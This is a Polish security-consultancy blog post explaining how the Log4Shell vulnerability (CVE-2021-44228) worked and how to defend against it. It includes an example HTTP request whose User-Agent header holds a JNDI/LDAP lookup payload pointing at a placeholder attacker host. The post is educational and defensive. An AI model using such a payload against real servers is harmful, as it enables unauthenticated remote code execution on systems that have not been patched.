← Wróć do bloga

// blog · Analiza podatności

Anatomia RCE: jak działał Log4Shell (CVE-2021-44228)

W grudniu 2021 r. jedna podatność w bibliotece Apache Log4j 2 postawiła na nogi zespoły bezpieczeństwa na całym świecie. CVE-2021-44228, znana jako Log4Shell, otrzymała maksymalną ocenę CVSS 10.0: nieuwierzytelniony napastnik mógł wykonać dowolny kod na serwerze, wysyłając jeden odpowiednio spreparowany ciąg znaków. Ten wpis rozkłada mechanizm na czynniki pierwsze - na przykładzie, który dziś jest już w pełni załatany i publicznie udokumentowany.

Kontekst i legalność. To materiał edukacyjny opisujący publicznie znaną, załataną podatność. Testowanie cudzych systemów jest legalne wyłącznie za pisemną zgodą właściciela. Poniższe treści służą zrozumieniu ryzyka i skutecznej obronie, nie prowadzeniu ataków.

Skąd się wzięła podatność

Log4j to jedna z najpopularniejszych bibliotek logujących w ekosystemie Java - obecna w niezliczonych aplikacjach webowych, serwerach i urządzeniach. Problem tkwił w funkcji message lookups: Log4j interpretował w logowanych komunikatach specjalne wyrażenia ${...}, rozwijając je w czasie działania. Jednym z obsługiwanych mechanizmów było JNDI (Java Naming and Directory Interface), które potrafiło pobrać obiekt ze zdalnego serwera katalogowego, np. przez LDAP.

Połączenie tych dwóch faktów - że logowany tekst bywa kontrolowany przez użytkownika i że ${jndi:...} sięga do sieci - stworzyło ścieżkę do zdalnego wykonania kodu.

Anatomia payloadu

Cały atak zaczyna się od jednego ciągu znaków:

Payload rozbity na segmenty: wyrażenie Log4j, lookup JNDI, protokół i host napastnika
//Payload rozbity na segmenty: wyrażenie Log4j, lookup JNDI, protokół i host napastnika

Napastnik umieszczał go tam, gdzie aplikacja z dużym prawdopodobieństwem zaloguje wartość - najczęściej w nagłówku HTTP, polu formularza czy nazwie użytkownika.

Łańcuch ataku krok po kroku

Pięć kroków: od payloadu w nagłówku, przez lookup JNDI, po wykonanie zdalnej klasy
//Pięć kroków: od payloadu w nagłówku, przez lookup JNDI, po wykonanie zdalnej klasy

Kluczowa obserwacja: żaden z tych kroków nie wymaga uwierzytelnienia ani interakcji użytkownika. Wystarczy, że podatna aplikacja zaloguje kontrolowany ciąg.

Przykładowe żądanie

Payload najczęściej trafiał do aplikacji przez zwykły nagłówek - tu w User-Agent:

GET /api/status HTTP/1.1
Host: app.example.com
User-Agent: ${jndi:ldap://attacker.example:1389/a}
Accept: */*

Jeśli aplikacja logowała nagłówek User-Agent (co robi wiele frameworków), Log4j rozwijał wyrażenie, łączył się z serwerem LDAP napastnika i - w podatnej konfiguracji - pobierał oraz uruchamiał wskazaną klasę Java.

Dlaczego skala była tak duża

Trzy czynniki złożyły się na „idealną burzę":

To ostatnie jest lekcją wykraczającą poza samego Log4j: nie zabezpieczysz tego, o czym nie wiesz, że masz.

Jak się bronić

Trzy warstwy: łatka jako priorytet, mitygacja konfiguracyjna, filtrowanie ruchu wychodzącego
//Trzy warstwy: łatka jako priorytet, mitygacja konfiguracyjna, filtrowanie ruchu wychodzącego

W skrócie, w kolejności priorytetów:

  1. Aktualizacja Log4j do wersji 2.17.1 lub nowszej - to usuwa źródło problemu.
  2. Mitygacja tam, gdzie łatka nie jest natychmiast możliwa: usunięcie klasy JndiLookup z pakietu lub wyłączenie message lookups.
  3. Filtrowanie ruchu wychodzącego (egress) - blokada nieoczekiwanych połączeń LDAP/RMI/DNS przerywa łańcuch nawet przy podatnym kodzie.

Warstwa trzecia jest istotna, bo kupuje czas: nawet zanim wszystkie systemy zostaną załatane, ograniczenie ruchu wychodzącego znacząco podnosi próg trudności ataku.

Co z tego wynika dla Twojej organizacji

Log4Shell nie był wyjątkiem - był zapowiedzią. Podatności w zależnościach (łańcuch dostaw oprogramowania) to jeden z wymaganych obszarów zarządzania ryzykiem w NIS2 / KSC. Praktyczne minimum to: aktualna inwentaryzacja komponentów, proces szybkiej reakcji na nowe CVE oraz okresowe testy potwierdzające, że ekspozycja faktycznie zniknęła.

Jeśli chcesz sprawdzić, czy Twój perymetr jest odporny na tego typu klasy podatności - umów konsultację.

← Wróć do bloga